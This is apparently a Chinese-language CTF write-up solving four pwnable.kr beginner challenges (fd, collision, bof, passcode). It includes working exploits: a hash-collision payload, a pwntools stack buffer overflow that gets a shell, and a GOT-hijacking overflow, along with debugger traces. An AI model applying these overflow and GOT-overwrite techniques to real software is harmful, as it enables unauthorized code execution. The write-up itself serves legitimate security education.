pwnable.kr [Toddler's Bottle I]
Albert Huang
MED student | CS enthusiast
fd 連線到機器之後發現有三個檔案:
1 2 3 4 fd@ubuntu:~$ ls fd fd.c flag col@ubuntu:~$ cat flag cat: flag: Permission denied
直接讀 flag 會發現沒有權限,來觀察一下 fd.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32 ];int main (int argc, char * argv[], char * envp[]) { if (argc<2 ){ printf ("pass argv[1] a number\n" ); return 0 ; } int fd = atoi( argv[1 ] ) - 0x1234 ; int len = 0 ; len = read(fd, buf, 32 ); if (!strcmp ("LETMEWIN\n" , buf)){ printf ("good job :)\n" ); setregid(getegid(), getegid()); system("/bin/cat flag" ); exit (0 ); } printf ("learn about Linux file IO\n" ); return 0 ; }
分段來看一下 code:
1 2 3 4 if (argc<2 ){ printf ("pass argv[1] a number\n" ); return 0 ; }
這段表示我們需要在使用這個 fd 檔案時,給一個數字的參數。
1 2 3 int fd = atoi( argv[1 ] ) - 0x1234 ;int len = 0 ;len = read(fd, buf, 32 );
這段 code 會把我們給的參數利用 atoi() 將字串直接轉為數字後,減去 0x1234,再送到屬於 system call 的 read() 函式裡面做為第一個參數,我們來查一下 read() 函數的參數內容:
https://x64.syscall.sh/
1 2 3 4 5 6 7 ssize_t read(size_t count; int fd, void buf[count], size_t count); * fd * 0: stdin * 1: stdout * 2: stderr
接下來看第三段 code:
1 2 3 4 5 6 if (!strcmp ("LETMEWIN\n" , buf)){ printf ("good job :)\n" ); setregid(getegid(), getegid()); system("/bin/cat flag" ); exit (0 ); }
我們需要讓 read() 函數中的 buf 的值為 LETMEWIN\n,所以我們需要的是 stdin 來讀入值,也就是將 fd 設為 0。而因此我們輸入的參數減去 0x1234 必須為 0,可推得我們的輸入必須為 0x1234 = 4660。
1 2 3 4 fd@ubuntu:~$ ./fd 4660 LETMEWIN good job :) [REDACTED]
collision 連到機器之後來看一下檔案內容:
1 2 3 4 col@ubuntu:~$ ls col col.c flag col@ubuntu:~$ cat flag cat: flag: Permission denied
來看一下 col.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC ;unsigned long check_password (const char * p) { int * ip = (int *)p; int i; int res=0 ; for (i=0 ; i<5 ; i++){ res += ip[i]; } return res; } int main (int argc, char * argv[]) { if (argc<2 ){ printf ("usage : %s [passcode]\n" , argv[0 ]); return 0 ; } if (strlen (argv[1 ]) != 20 ){ printf ("passcode length should be 20 bytes\n" ); return 0 ; } if (hashcode == check_password( argv[1 ] )){ setregid(getegid(), getegid()); system("/bin/cat flag" ); return 0 ; } else printf ("wrong passcode.\n" ); return 0 ; }
可以發現它讀入了一個 20 bytes 的 passcode,並且利用 check_password 這個函數產出的數值與 hashcode 做比對,來分析一下 check_password 的行為:
1 2 3 4 5 6 7 8 9 unsigned long check_password (const char * p) { int * ip = (int *)p; int i; int res=0 ; for (i=0 ; i<5 ; i++){ res += ip[i]; } return res; }
首先它會先將我們給的參數作為字串(字元陣列)讀入,接著在第二行時強制將她轉為 int(4 bytes)的整數陣列並存入 ip 中,接著將陣列中的所有值全部相加後傳回。而又知道我們的 hashcode = 0x21DD09EC,因此只要將相加為 hashcode 的 5 個數以 bytes 的形式輸入即可過關。
以下用 Python 稍微計算一下:
1 2 3 4 5 6 7 8 9 >>> hashcode = 0x21DD09EC >>> hashcode / 5 113626824.8 >>> a = 113626824 >>> a.to_bytes(4, "little") b'\xc8\xce\xc5\x06' >>> b = hashcode - a*4 >>> b.to_bytes(4, "little") b'\xcc\xce\xc5\x06'
因此我們的 payload 即為 \xc8\xce\xc5\x06 * 4 + \xcc\xce\xc5\x06,可以使用 python 送出:
1 2 3 4 col@ubuntu:~$ ./col `python2 -c "print('\xc8\xce\xc5\x06' * 4 + '\xcc\xce\xc5\x06')"` [REDACTED] col@ubuntu:~$ ./col $(python3 -c "import sys; sys.stdout.buffer.write(b'\xc8\xce\xc5\x06' * 4 + b'\xcc\xce\xc5\x06')") [REDACTED]
因為 Python3 自動轉碼的關係,直接使用 print 只有在 Python2 適用,Python3 必須使用 sys.stdout.buffer.write 來避免自動轉碼
bof 連到題目之後來看一下檔案內容:
1 2 3 4 bof@ubuntu:~$ ls bof bof.c readme bof@ubuntu:~$ cat readme bof binary is running at "nc 0 9000" under bof_pwn privilege. get shell and read flag
他說 bof 的 binary 跑在 nc 0 9000 上,我們需要拿到 shell 才能讀 flag,所以來看一下它的 bof.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include <string.h> #include <stdlib.h> void func (int key) { char overflowme[32 ]; printf ("overflow me : " ); gets(overflowme); if (key == 0xcafebabe ){ setregid(getegid(), getegid()); system("/bin/sh" ); } else { printf ("Nah..\n" ); } } int main (int argc, char * argv[]) { func(0xdeadbeef ); return 0 ; }
很明顯是個 buffer overflow 的題目,必須把原先 function 的參數 0xdeadbeef 改為 0xcafebabe,先用 scp 把檔案載到本機上方便分析:
1 2 3 $ scp -P 2222 bof@pwnable.kr:/home/bof/bof ./ bof@pwnable.kr's password: bof 100% 15KB 33.9KB/s 00:00
使用 pwndbg 分析:
使用 cyclic 建立 payload,並使用 starti 將程式跑起來。
1 2 pwndbg> cyclic 100 pwndbg> starti
觀察一下 func 的內容。
1 2 3 4 5 pwndbg> disassemble func ... 0x56556234 <+55>: call 0x56556060 <gets@plt> 0x56556239 <+60>: add esp,0x10 0x5655623c <+63>: cmp DWORD PTR [ebp+0x8],0xcafebabe
可知:
比較的位址在 0x5655623c
key 的儲存暫存器位置在 ebp+0x8
將斷點設在呼叫 gets 的位置,並將第二個斷點設在 0x5655623c,避免 overflow 完之後直接跳到 smash stack 讓儲存內容被洗掉,然後用 run 將程式跑起來。接著 nexti 一次之後,會出現 overflow me :。
1 2 3 4 5 6 pwndbg> b *0x56556234 pwndbg> b *0x5655623c pwndbg> r pwndbg> ni ... overflow me :
輸入 cyclic 剛剛產生的 payload,按下 Enter 後會自動斷在第二個斷點,查看 key 也就是 ebp+0x8 位置的值並且用 cyclic 計算偏移量,即可獲得應該要蓋掉的 bytes 數。
1 2 3 4 pwndbg> x/wx $ebp+8 pwndbg> cyclic -l 0x6161616e Finding cyclic pattern of 4 bytes: b'naaa' (hex: 0x6e616161) Found at offset 52
拿到 offset 之後即可拿來寫 exploit,使用 Python 實作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *""" $ checksec bof [*] '/mnt/c/Users/USER/Downloads/bof' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No """ r = remote('localhost' , 9000 ) r.sendline(b'A' * 52 + p32(0xcafebabe )) r.interactive()
因為它的服務跑在 bof 本地,因此要用 ssh 轉送 port 之後才能在本機存取,指令如下:
1 $ ssh -L 9000:127.0.0.1:9000 bof@pwnable.kr -p 2222
執行後在另一個視窗執行 exploit 即可讀取 flag。
1 2 3 4 5 6 7 8 9 10 11 12 $ python3 test.py [+] Opening connection to localhost on port 9000: Done [*] Switching to interactive mode $ ls bof bof.c bof.c.save flag log super.pl $ cat flag [REDACTED]
passcode 連到機器之後來看一下檔案內容:
1 2 3 4 passcode@ubuntu:~$ ls flag passcode passcode.c passcode@ubuntu:~$ cat flag cat: flag: Permission denied
沒有權限,來看一下 passcode.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #include <stdio.h> #include <stdlib.h> void login () { int passcode1; int passcode2; printf ("enter passcode1 : " ); scanf ("%d" , passcode1); fflush(stdin ); printf ("enter passcode2 : " ); scanf ("%d" , passcode2); printf ("checking...\n" ); if (passcode1==338150 && passcode2==13371337 ){ printf ("Login OK!\n" ); setregid(getegid(), getegid()); system("/bin/cat flag" ); } else { printf ("Login Failed!\n" ); exit (0 ); } } void welcome () { char name[100 ]; printf ("enter you name : " ); scanf ("%100s" , name); printf ("Welcome %s!\n" , name); } int main () { printf ("Toddler's Secure Login System 1.1 beta.\n" ); welcome(); login(); printf ("Now I can safely trust you that you have credential :)\n" ); return 0 ; }
乍看之下會覺得只要輸入正確的數字就可以過關,但可惜的是,沒有這麼簡單。首先可以發現的最大弱點是 scanf() 的使用。
在輸入為一般變數時,應該使用 & 來給予要存入的記憶體位址作為參數,而非直接將變數放入 scanf() 中,如下所示:
1 2 scanf ("%d" , passcode1); -> scanf ("%d" , &passcode1);scanf ("%d" , passcode2); -> scanf ("%d" , &passcode2);
如此才是正確的表示法。不過在存取整個陣列時,它會選擇指向陣列的第一個位址 &name[0](型態為 char*) 開始進行輸入,因此輸入時不需要使用 & 來取得位址,所以下列狀態是正確的:
釐清這點之後,接下來可以觀察到第二點不尋常的舉動是 fflush(stdin),這個用法在 C 語言中是屬於未定義行為 ,雖然目前不是什麼大漏洞,但之後可能可以幫助我們解題。
將檔案傳輸到本地方便分析:
1 2 3 $ scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode ./ passcode@pwnable.kr's password: passcode 100% 15KB 34.1KB/s 00:00
使用 objdump 觀察一下 login 與 welcome 的組合語言內容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $ objdump -M intel -d passcode ... 080491f6 <login>: ... 804921e: ff 75 f0 push DWORD PTR [ebp-0x10] 8049221: 8d 83 1b e0 ff ff lea eax,[ebx-0x1fe5] 8049227: 50 push eax 8049228: e8 a3 fe ff ff call 80490d0 <__isoc99_scanf@plt> ... 8049259: ff 75 f4 push DWORD PTR [ebp-0xc] 804925c: 8d 83 1b e0 ff ff lea eax,[ebx-0x1fe5] 8049262: 50 push eax 8049263: e8 68 fe ff ff call 80490d0 <__isoc99_scanf@plt> ... 080492f2 <welcome>: ... 8049324: 8d 45 90 lea eax,[ebp-0x70] 8049327: 50 push eax 8049328: 8d 83 75 e0 ff ff lea eax,[ebx-0x1f8b] 804932e: 50 push eax 804932f: e8 9c fd ff ff call 80490d0 <__isoc99_scanf@plt>
可知:
password1 儲存在 ebp-0x10,而 password2 則是 ebp-0xc
name 儲存在 ebp-0x70
透過以上的資訊,可知 name 與 passcode1 的儲存空間距離為 0x70 - 0x10 = 0x60 = 96,但我們可以在 name 中輸入 100 個字元,因此我們可以透過 welcome 中的輸入控制到 passcode 的內容。
結合剛剛我們發現無意義的 fflush(stdin),我們可以使用 GOT hijacking 的攻擊方法,在 welcome 輸入時寫入 fflush() 的 GOT 位址,讓 login 函數在使用 scanf() 時取用到的是 fflush() 的 GOT 位址,我們就可以在那個位址寫入我們希望它跳到的位址(讀取 flag 的指令位址),並且在下一行執行 fflush(stdin) 時跳轉到我們指定的位址開始執行。
使用 readelf 確定 fflush 在 GOT 表的位址:
1 2 3 4 $ readelf -a passcode | grep fflush 0804c014 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0 3: 00000000 0 FUNC GLOBAL DEFAULT UND fflush@GLIBC_2.0 (3) 22: 00000000 0 FUNC GLOBAL DEFAULT UND fflush@GLIBC_2.0
使用 objdump 確認獲取 flag 的執行位址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ objdump -M intel -d passcode ... 804929e: 83 c4 10 add esp,0x10 80492a1: e8 da fd ff ff call 8049080 <getegid@plt> 80492a6: 89 c6 mov esi,eax 80492a8: e8 d3 fd ff ff call 8049080 <getegid@plt> 80492ad: 83 ec 08 sub esp,0x8 80492b0: 56 push esi 80492b1: 50 push eax 80492b2: e8 09 fe ff ff call 80490c0 <setregid@plt> 80492b7: 83 c4 10 add esp,0x10 80492ba: 83 ec 0c sub esp,0xc 80492bd: 8d 83 47 e0 ff ff lea eax,[ebx-0x1fb9] 80492c3: 50 push eax 80492c4: e8 d7 fd ff ff call 80490a0 <system@plt>
特別注意我們要有足夠的權限才能讀取 flag,所以至少要從 setregid(getegid(), getegid()); 的地方開始執行才能拿到 flag
確認完成後即可使用 Python 實作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *""" $ checksec passcode [*] '/mnt/c/Users/USER/Downloads/passcode' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No """ fflush_got_addr = 0x0804c014 flag_addr = 0x804929e payload = b'A' * 96 + p32(fflush_got_addr) + str (flag_addr).encode() print (payload)
特別注意 scanf 讀取為 %d,因此要直接給予數字,而非 bytes
拿到 payload 後到機器上送出 payload 即可:
1 2 3 4 5 passcode@ubuntu:~$ echo `python2 -c "print b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x14\xc0\x04\x08134517406'"` | ./passcode Toddler's Secure Login System 1.1 beta. enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! [REDACTED] enter passcode1 : Now I can safely trust you that you have credential :)